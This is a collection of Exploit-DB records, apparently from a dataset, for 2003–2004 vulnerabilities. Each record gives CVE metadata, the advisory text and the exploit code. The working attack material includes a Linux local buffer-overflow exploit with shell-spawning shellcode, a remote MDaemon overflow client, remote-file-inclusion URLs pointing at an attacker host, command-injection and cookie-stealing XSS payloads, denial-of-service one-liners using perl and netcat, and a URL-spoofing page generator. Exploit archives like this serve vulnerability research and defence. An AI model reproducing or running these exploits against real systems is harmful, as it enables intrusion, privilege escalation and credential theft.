QLWD/code_shield huggingface dataset:
标题: Surfnet 1.31 - CMD_CREDITCARD_CHARGE Denial of Service EDB-ID: 23512 CVE: 2004-1781 类型: DOS 平台: WINDOWS 发布日期: 2004-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/9348/info

Surfnet is prone to a denial of service vulnerability via the CMD_CREDITCARD_CHARGE command. By issuing this command with malformed arguments, it is possible to crash the software. When the software crashes, it will drop the kiosk user into the underlying operating system. 

C:\Surfnet\WWWRoot\CMD_CREDITCARD_CHARGE:Charge=20 URL: https://www.exploit-db.com/exploits/23512
标题: Athena Web Registration - Remote Command Execution EDB-ID: 23513 CVE: 2004-1782 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/9349/info

A problem has been reported in the handling of user-supplied input by the Athena Web Registration scripts. Because of this, it may be possible for an attacker to gain unauthorized access to a vulnerable system. 

http://www.example.com/athenareg.php?pass=%20;whoami URL: https://www.exploit-db.com/exploits/23513
标题: PHPGedView 2.61 - Multiple Remote File Inclusions EDB-ID: 23520 CVE: 2004-0030 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/9368/info

PhpGedView is prone to multiple file include vulnerabilities. The source of the issue is that a number of scripts that ship with the software permit remote users to influence require() paths for various external files. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

These issues are reported to affect PhpGedView 2.61. Other versions are also likely affected.

http://www.example.com/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=http://[attacker's_site]
http://www.example.com/phpgedview_folder/functions.php?PGV_BASE_DIRECTORY=http://[attacker's_site]
http://www.example.com/phpgedview_folder/config_gedcom.php?PGV_BASE_DIRECTORY=http://[attacker's_site] URL: https://www.exploit-db.com/exploits/23520
标题: XSOK 1.0 2 - 'LANG Environment' Local Buffer Overrun EDB-ID: 23510 CVE: 2004-0074 类型: LOCAL 平台: LINUX 发布日期: 2003-12-30 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9341/info

xsok is prone to a locally exploitable buffer overrun vulnerability due to insufficient bounds check of data supplied through the LANG environment variable. This could be exploited to execute arbitrary code with elevated privileges. The program is typically installed setgid games. 

/*
xsok 1.02 local game exploit
coded by n2n, n2n<at>linuxmail.org
Eye on Security Research Group, India http://www.eos-india.net
This exploit calculates the return address automatically.
Also the shellcode is improved and automatically gets the effective uid and gid of the vulnerable binary.
Tested on Redhat Linux 9.0
*/

#define VULN "/usr/X11R6/bin/xsok"
#define BUFLEN 100
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

/* shellcode by me, n2n@linuxmail.org */
char *shellcode=
 /* setreuid(geteuid(),geteuid()), no use unless xsok is setuid, usually its only setgid games */
 "\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
 /* setregid(getegid(),getegid()) */
 "\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
 /* exec /bin/sh */
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 /* exit() */
 "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
 char exploit[BUFLEN+5];
 unsigned long addr_ret = 0xc0000000 - 4;
 char *arg0 = VULN;
 int i;
 if (argc > 2) {
  fprintf(stderr, "Usage: %s [PROG]\n", argv[0]);
  return 1;
 }
 if (argc > 1)
  arg0 = argv[1];
 addr_ret -= strlen(arg0) + 1;
 addr_ret -= strlen(shellcode) + 1; 
 setenv("EGG",shellcode,1); 
 for(i=0;i<BUFLEN;i+=4)
  *(unsigned int *)(exploit+i)=addr_ret;
 exploit[i]=0x0;
 setenv("LANG",exploit,1);
 printf("Using RET=%p\n",addr_ret);
 execl(arg0,arg0,NULL);
 printf("\n");
 return 1;
} URL: https://www.exploit-db.com/exploits/23510
标题: EasyDynamicPages 1.0 - 'config_page.php' PHP Remote File Inclusion EDB-ID: 23507 CVE: 2004-0073 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/9338/info

EasyDynamicPages is prone to a remote file include vulnerability in a configuration script. This will permit a remote attack to include malicious PHP scripts from remote servers, which will then be executed by the web server hosting the vulnerable software. 

http://www.example.com/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://[attacker's_site]/

The attacker must have a malicious script hosted at the following location:

http://[attacker's_site]/admin/site_settings.php URL: https://www.exploit-db.com/exploits/23507
标题: YaSoft Switch Off 2.3 - Large Packet Remote Denial of Service EDB-ID: 23508 CVE: 2004-1792 类型: DOS 平台: HARDWARE 发布日期: 2004-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/9339/info

A problem has been identified in the YaSoft Switch Off software package when handling large packets via the service management port (8000/TCP). This may make it possible for a remote user to deny service to legitimate users of the service. 

perl -e "print 'a'x10240 . chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a);" > DoS.txt

nc 127.0.0.1 8000 < DoS.txt URL: https://www.exploit-db.com/exploits/23508
标题: Microsoft Windows XP/2000 - showHelp '.CHM' File Execution (MS03-004) EDB-ID: 23504 CVE: 2003-1041 类型: DOS 平台: WINDOWS 发布日期: 2003-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/9320/info

Microsoft Windows is prone to a security flaw in the implementation of the showHelp() function. Microsoft previously released patches that provide security measures to prevent abuse of the showHelp() method to reference local compiled help files (.CHM) from within a web page. This initial problem was described in BID 6780/MS03-004. However, using directory traversal sequences and special syntax when referring to the CHM file, it is possible to bypass this restriction. This could be exploited in combination with other known vulnerabilities to install and execute malicious code on a client system.

** UPDATE: This issue was initially believed to affect Microsoft Internet Explorer but is actually an operating system issue. Microsoft Internet Explorer, Outlook, and Outlook Express may all present attack vectors for this security flaw.

showHelp("mk:@MSITStore:iexplore.chm::..\\..\\..\\..\\chmfile.chm::/fileinchm.html"); URL: https://www.exploit-db.com/exploits/23504
标题: Alt-N MDaemon 6.x/WorldClient - Form2Raw Raw Message Handler Buffer Overflow (1) EDB-ID: 23501 CVE: 2003-1200 类型: DOS 平台: WINDOWS 发布日期: 2003-12-29 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9317/info

It has been reported that MDaemon/WorldClient mail server may be prone to a buffer overflow vulnerability when handling certain messages with a 'From' field of over 249 bytes. This issue may allow a remote attacker to gain unauthorized access to a system.

Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the vulnerable software in order to gain unauthorized access.

#include <windows.h>
#include <stdio.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32")
#define RET 0x1dff160
#define PORT 3000
void main(int argc, char **argv)
{
     SOCKET s = 0;
     WSADATA wsaData;

    if(argc < 2)
     {
          fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " \
"\nUsage: %s <target ip> \n", argv[0]);

                  printf("%d",argc);
                       exit(0);
    }

     WSAStartup(MAKEWORD(2,0), &wsaData);

     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

     if(INVALID_SOCKET != s)
     {
          SOCKADDR_IN anAddr;
          anAddr.sin_family = AF_INET;
          anAddr.sin_port = htons(PORT);
          anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

          if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
          {
               static char buffer[500];
                           int i;
                           memset(buffer,0,sizeof(buffer));
                           strcpy(buffer,"get /form2raw.cgi?From=");
                           for(i=0;i<244;i++) {

                                   strcat(buffer,"a");
                           }

                           strcat(buffer,"bbbb"); //Overwrites EIP
                           strcat(buffer,"c");  //One byte left after ESP :-(
                           strcat(buffer,"&To=me@hell.org&Subject=hi&Body=hello HTTP/1.0\r\n\r\n");

                           send(s, buffer, strlen(buffer), 0);
                           printf("Exploit Sent.");

          }

                  else printf("Error Connecting to The Target.\n");
          closesocket(s);
     }

        WSACleanup();
} URL: https://www.exploit-db.com/exploits/23501
标题: Microsoft IIS 5.0 - Failure To Log Undocumented TRACK Requests EDB-ID: 23490 CVE: 2003-1566 类型: REMOTE 平台: WINDOWS 发布日期: 2003-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/9313/info

A vulnerability has been reported to affect Microsoft IIS. It has been reported that IIS fails to log HTTP TRACK calls made to the affected server. A remote attacker may exploit this condition in order to enumerate server banners. 

TRACK / HTTP/1.0 [\r\r] URL: https://www.exploit-db.com/exploits/23490
标题: Apache 2.0.4x mod_php - File Descriptor Leakage (2) EDB-ID: 23482 CVE: 2003-1307 类型: LOCAL 平台: LINUX 发布日期: 2003-12-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9302/info
 
Reportedly, the Apache mod_php module may be prone to a vulnerability that may allow a local attacker to gain access to privileged file descriptors. As a result, the attacker may pose as a legitimate server and possibly steal or manipulate sensitive information.

# apache's access_log can be overwritten with arbitrary content
# from PHP called executables.
# POC by frauk\x41ser && sk0L / SEC Consult 2006

#include <unistd.h>
#include <fcntl.h>

#define LOGFD 7

void main(){
        fcntl(LOGFD, F_SETFL, O_WRONLY); // change mode from append to write
        lseek(LOGFD, 0, SEEK_SET); // reposition to start of file
        write(LOGFD,"hehe\n",5);
} URL: https://www.exploit-db.com/exploits/23482
标题: KnowledgeBuilder 2.0/2.1/3.0 - Remote File Inclusion EDB-ID: 23476 CVE: 2003-1131 类型: WEBAPPS 平台: PHP 发布日期: 2003-12-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9292/info

KnowledgeBuilder is prone to a remote file include vulnerability. An attacker could exploit this to cause hostile PHP scripts to be included and executed from a remote server. This would occur in the security context of the web server hosting the software. 

http://www.example.com/kb/index.php?page=http://[attacker's_host]/[attacker's_script] URL: https://www.exploit-db.com/exploits/23476
标题: phpBB 2.0.6 - 'privmsg.php' Cross-Site Scripting EDB-ID: 23475 CVE: 2004-2130 类型: WEBAPPS 平台: PHP 发布日期: 2003-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9290/info

phpBB is prone to a cross-site scripting vulnerability in the 'privmsg.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via URI parameters. This input will be included in dynamically generated web pages. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. The attacker-supplied code will be interpreted in the context of the site hosting the vulnerable software. 

http://www.example.com/forums/privmsg.php?mode=""><script>alert(document.cookie);</scrip
t>post&u=2

William Heatley has supplied the following proof of concept:
http://www.example.com/phpBB/privmsg.php?mode=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C URL: https://www.exploit-db.com/exploits/23475
标题: Opera Browser 6.0 6 - URI Display Obfuscation EDB-ID: 23465 CVE: 2003-1025 类型: REMOTE 平台: WINDOWS 发布日期: 2003-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9281/info

A weakness has been reported in Opera that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI that is designed to access a specific location with a supplied username, contains a specially crafted sequence of characters. These characters will be interpreted as a NULL due to UTF-8 encoding. This sequence may be placed as part of the username value prior to the @ symbol in the malicious URI to aid in obfuscating the URI for a visited page.

An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location. 

http://www.example.com%C0%AFfake_path%C0%AFfake_filename%C0%AEhtml%C0%80@www.example.com/
http://www.example.com/fake_path/fake_filename.html

ftp://ftp.example.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF723%C0%AFen%C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80:password@malicious_server/ow32enen723.exe
ftp://ftp.example.com/pub/opera/win/723/en/std/ow32enen723.exe URL: https://www.exploit-db.com/exploits/23465
标题: Tcpdump 3.x - L2TP Parser Remote Denial of Service EDB-ID: 23452 CVE: 2003-1029 类型: DOS 平台: LINUX 发布日期: 2003-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9263/info

A vulnerability has been reported to exist in the software that may allow a remote attacker to cause a denial of service condition in tcpdump. The issue presents itself when an attacker sends a maliciously formatted packet containing 0xff,0x02 bytes to UDP port 1701 of a system running a vulnerable version of tcpdump.

This issue is reported to affect tcpdump 3.7 and prior running on OpenBSD 3.3 and -current, however other versions on different platforms could be affected as well. 

tcpdump -i lo0 -n udp and dst port 1701 &
perl -e 'print "\xff\x02"' | nc -u localhost 1701

Example packet data has been provided by Balaram Amgoth <ramgoth@yahoo.com>:
char packet[] = "\x82\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; URL: https://www.exploit-db.com/exploits/23452
标题: Apple Mac OSX 10 - CD9660.Util Probe For Mounting Argument Local Buffer Overflow EDB-ID: 23442 CVE: 2003-1006 类型: DOS 平台: OSX 发布日期: 2003-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9228/info

The cd9660.util utility has been reported prone to a local buffer overrun vulnerability. Excessive data supplied as an argument for the probe for mounting switch, passed to the cd9660.util utility will overrun the bounds of a reserved buffer in memory. Because memory adjacent to this buffer has been reported to contain saved values that are crucial to controlling execution flow, a local attacker may potentially influence cd9660.util execution flow into attacker-supplied instructions.

./cd9660.util -p `perl -e "print 'A'x512"` URL: https://www.exploit-db.com/exploits/23442
标题: osCommerce 2.2 - 'osCsid' Cross-Site Scripting EDB-ID: 23445 CVE: 2003-1219 类型: WEBAPPS 平台: PHP 发布日期: 2003-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9238/info

It has been reported that osCommerce may be prone to a cross-site scripting vulnerability that may allow an attacker to construct a malicious link containing HTML or script code that may be rendered in a user's browser.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible.

Although unconfirmed, osCommerce versions 2.2 Milestone 1 and 2.2 Milestone 2 may be vulnerable to this issue. 

https://www.example.com/?osCsid="><iframe src=http://www.example.com></iframe> URL: https://www.exploit-db.com/exploits/23445
标题: GoAhead Web Server 2.1.x - '.ASP' File Source Code Disclosure EDB-ID: 23446 CVE: 2002-1603 类型: REMOTE 平台: WINDOWS 发布日期: 2002-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9239/info

A vulnerability in GoAhead webserver may result in the disclosure of the source code of ASP script files. The vulnerability occurs because the application fails to sanitize HTTP requests.

An attacker can append certain characters to the end of an HTTP request for a specific ASP file. As a result, GoAhead webserver will disclose the contents of the requested ASP script file to the attacker.

This issue affects GoAhead 2.1.7 and earlier. 

http://www.example.com/asp.asp%00
http://www.example.com/asp.asp%2f
http://www.example.com/asp.asp%5c
http://www.example.com/asp.asp/
http://www.example.com/asp.asp URL: https://www.exploit-db.com/exploits/23446
标题: Microsoft Internet Explorer 5/6 / Mozilla 1.2.1 - URI Display Obfuscation (2) EDB-ID: 23423 CVE: 2003-1025 类型: REMOTE 平台: WINDOWS 发布日期: 2003-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9182/info
 
A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.
 
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23423.zip URL: https://www.exploit-db.com/exploits/23423
标题: Microsoft Internet Explorer 5/6 / Mozilla 1.2.1 - URI Display Obfuscation (1) EDB-ID: 23422 CVE: 2003-1025 类型: REMOTE 平台: WINDOWS 发布日期: 2003-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9182/info

A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.

An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.

On Error Resume Next

PromtStart = "Do you want to create a web page to exploit Internet Explorer 5.01, 5.5 and 6.0 on Windows" _
& " platforms?" & vbcrlf & "(URL Obfuscation - https://www.securityfocus.com/bid/9182)"

Ok2Run = MsgBox (PromtStart,vbyesno + vbquestion,"URL Obfuscation Web Page Creator")

If Ok2Run = vbyes Then
 Do While strFileName = ""
  strFileName = InputBox ("Enter the name of the web page file you want to create","File Name","TEST.HTML")
 Loop
 Do While strSpoofSite = ""
  strSpoofSite = InputBox ("Enter the name of the site you want users to THINK they're going to:","Spoof Site","atkins.com")
 Loop
 Do While strRealSite = ""
  strRealSite = InputBox ("Enter the name of the site users WILL go to when they click on the link:","Real Site","www.mcdonalds.com")
 Loop
 Do While strLinkText = ""
  strLinkText = InputBox ("Enter the text you want to appear in the link:","Link Text","Go to the Atkins Site")
 Loop
 Err.Clear
 CreateExploitPage strFileName, strSpoofSite, strRealSite, strLinkText
 If Err.Number = 0 then
  MsgBox "Your exploit page has been saved to C:\" & strFileName & ".",vbokonly + vbinformation, "Script Complete"
 Else
  MsgBox "An error occured (" & Err.Description & ")saving your exploit page to C:\" & strFileName & ".",vbokonly + vbcritical, "Script Error"
  Err.Clear 
 End if
Else
 MsgBox "Script canceled.",vbokonly + vbcritical,"URL Obfuscation Web Page Creator"
End If

Sub CreateExploitPage(strFileName, strSpoofSite, strRealSite, strLinkText)
 Set fs = CreateObject("Scripting.FileSystemObject") 
 Set a = fs.CreateTextFile("c:\" & strFileName, True) 
 a.WriteLine("<HTML>") 
 a.WriteLine("<TITLE>Exploit Page for BID 9182 (https://www.securityfocus.com/bid/9182)</TITLE>")
 a.WriteLine("<BODY>")
 strExploitLine = "<A HREF=" & Chr(34) & "http://" & strSpoofSite & Chr(1) & "%00@" & strRealSite 
 strExploitLine = strExploitLine & Chr(34) & ">" & strLinkText & "</A>"
 a.WriteLine(strExploitLine)
 a.WriteLine("</BODY>")
 a.WriteLine("</HTML>")
 a.Close 
End Sub URL: https://www.exploit-db.com/exploits/23422
标题: FVWM 2.4/2.5 - fvwm-menu-Directory Command Execution EDB-ID: 23414 CVE: 2003-1308 类型: LOCAL 平台: LINUX 发布日期: 2003-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/9161/info

It has been reported that FVWM may be prone to a command execution vulnerability that may allow an attacker to execute malicious commands on a vulnerable system. It has been reported that the fvwm-menu-directory component does not properly sanitize user input and allows a user with write permissions to a directory to execute arbitrary commands.

FVWM versions 2.14.17 and 2.5.8 have been reported to be vulnerable to this issue, however other versions may be affected as well. 

$ touch '
> Exec xmessage "0wn3d"
>
> '
$ write fvwmguy <<< "k3wl mp3 in `pwd` OMG LOLOLOL!!!1111" URL: https://www.exploit-db.com/exploits/23414
标题: Microsoft Outlook Express 6.0 - MHTML Forced File Execution (2) EDB-ID: 23401 CVE: 2004-0380 类型: REMOTE 平台: WINDOWS 发布日期: 2003-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/9105/info
 
A vulnerability has been discovered in Microsoft Outlook Express when handling MHTML file and res URIs that could lead to an unexpected file being downloaded and executed.
 
The problem occurs due to the component failing to securely handle MHTML file URIs that reference a non-existent resource. The affected Outlook Express component is used by Microsoft Internet Explorer. As a result, a victim browser user may inadvertently access a page designed to load an embedded object from a malicious location. This would effectively result in the execution of attacker-supplied code within the Local Zone. The vulnerability is present even if Microsoft Outlook has been removed as the default email client.
 
According to Microsoft, Microsoft Internet Explorer on Windows Server 2003 is prone to attacks despite its specialized configuration.
 
Microsoft Windows platforms running Microsoft Outlook Express 5.5SP2, 6.0, and 6.0SP1 are reported by the vendor to be affected though the issue may also be present in earlier versions of Microsoft Outlook Express.
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23401.zip URL: https://www.exploit-db.com/exploits/23401
标题: Microsoft Outlook Express 6.0 - '.MHTML' Forced File Execution (1) EDB-ID: 23400 CVE: 2004-0380 类型: REMOTE 平台: WINDOWS 发布日期: 2003-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/9105/info

A vulnerability has been discovered in Microsoft Outlook Express when handling MHTML file and res URIs that could lead to an unexpected file being downloaded and executed.

The problem occurs due to the component failing to securely handle MHTML file URIs that reference a non-existent resource. The affected Outlook Express component is used by Microsoft Internet Explorer. As a result, a victim browser user may inadvertently access a page designed to load an embedded object from a malicious location. This would effectively result in the execution of attacker-supplied code within the Local Zone. The vulnerability is present even if Microsoft Outlook has been removed as the default email client.

According to Microsoft, Microsoft Internet Explorer on Windows Server 2003 is prone to attacks despite its specialized configuration.

Microsoft Windows platforms running Microsoft Outlook Express 5.5SP2, 6.0, and 6.0SP1 are reported by the vendor to be affected though the issue may also be present in earlier versions of Microsoft Outlook Express.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23400.zip URL: https://www.exploit-db.com/exploits/23400